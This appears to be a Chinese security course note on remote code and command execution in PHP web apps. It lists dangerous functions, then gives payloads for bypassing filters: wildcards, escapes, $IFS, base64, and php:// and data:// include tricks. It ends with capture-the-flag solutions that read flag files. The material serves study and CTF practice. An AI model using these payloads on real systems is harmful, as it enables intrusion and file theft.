0%

58WEB攻防-RCE

思维导图

41WEB攻防

知识点:

  • 52、RCE-原理-代码执行&命令执行
  • 53、RCE-黑白盒-过滤绕过&不回显方案

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

RCE

RCE代码执行:引用脚本代码解析执行
RCE命令执行:脚本调用操作系统命令
漏洞函数:

  • 1.PHP:
    PHP代码执行函数:
        eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
    PHP命令执行函数:
        system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
  • 2.Python:
    eval exec subprocess os.system commands
  • 3.Java:
            Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

代码执行:

脚本——java,php,python
产生——Web源码、中间件平台、其他环境
检测——白盒 代码审计
检测——黑盒 漏扫工具、公开漏洞、手工看参数及功能点
防御——敏感函数禁用、变量过滤或固定、WAF产品

命令执行:

系统——Linux、Windows
产生——web源码、中间件平台、其他环境
检测——白盒 代码审计
检测——黑盒 漏扫工具,公开漏洞,手工看参数及功能点
防御——敏感函数禁用、变量过滤或固定、WAF产品

RCE-利用&绕过&异或&回显

1、伪协议玩法

配合文件包含伪协议(代码执行)

1
2
include $_GET[a]?>&a=data://text/plain,<?php system('ver');?>
include $_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=index.php

(1)关键字过滤:

  • 1、过滤flag关键字
    通配符
    1
    2
    3
    flag=fl*
    cat fl*
    cat ?la*
  • 2、转义符号
    1
    2
    ca\t /fl\ag
    cat fl''ag
  • 2、1使用空变量$*和$@,$x,${x}绕过
    1
    2
    3
    4
    ca$*t fl$*ag
    ca$@t fl$@ag
    ca$5t f$5lag
    ca${2}t f${2}lag
  • 3、拼接法

a=fl;b=ag;cat$IFS$a$b

  • 4、反引号绕过:

```cat `ls````

  • 5、编码绕过:
    1
    2
    echo 'flag' | base64
    cat `echo ZmxhZwo= | base64 -d`
  • 6、组合绝活
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    touch "ag"
    touch "fl\\"
    touch "t \\"
    touch "ca\\"
    ls -t >shell
    sh shell
    // \指的是换
    // ls -t是将文本按时间排序输出
    // ls -t >shell 将输出输入到shell文件中
    // sh将文本中的文字读取出来执行
  • 7、异或无符号(过滤0-9a-zA-Z)
    异或:rce-xor.php & rce-xor.py
    或:rce-xor-or.php & rce-xor-or.py

(2)过滤函数关键字

  • 1、内敛执行绕过(system)
    1
    2
    3
    4
    echo `ls`;
    echo $(ls);
    ?><?=`ls`;
    ?><?=$(ls);
  • 2、过滤执行命令(如cat tac等)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    more:一页一页的显示档案内容
    less:与 more 类似
    head:查看头几行
    tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    tail:查看尾几行
    nl:显示的时候,顺便输出行号
    od:以二进制的方式读取档案内容
    vi:一种编辑器,这个也可以查看
    vim:一种编辑器,这个也可以查看
    sort:可以查看
    uniq:可以查看
    file -f:报错出具体内容
    sh /flag 2>%261 //报错出文件内容
    curl file:///root/f/flag
    strings flag
    uniq -c flag
    bash -v flag
    rev flag
  • 3、过滤空格
    1
    2
    3
    4
    %09(url传递)(cat%09flag.php)
    cat${IFS}flag
    a=fl;b=ag;cat$IFS$a$b
    {cat,flag}

(3)无回显利用

1、直接写个文件访问查看
2、直接进行对外访问接受

白盒-CTF-RCE代码命令执行

  • 29-通配符

system('tac fla*.php');

  • 30-取代函数&通配符&管道符
    1
    2
    `cp fla*.ph* 2.txt`;
    echo shell_exec('tac fla*.ph*');
  • 31-参数逃逸

eval($_GET[1]);&1=system('tac flag.php');

  • 32~36-配合包含&伪协议
    1
    2
    include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
    include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
  • 37~39-包含RCE&伪协议&通配符
    1
    2
    data://text/plain,<?php system('tac fla*');?>
    php://input post:<?php system('tac flag.php');?>

黑盒-运行-RCE代码命令执行

代码在线运行平台测试

欢迎关注我的其它发布渠道

-------------本文结束感谢您的阅读-------------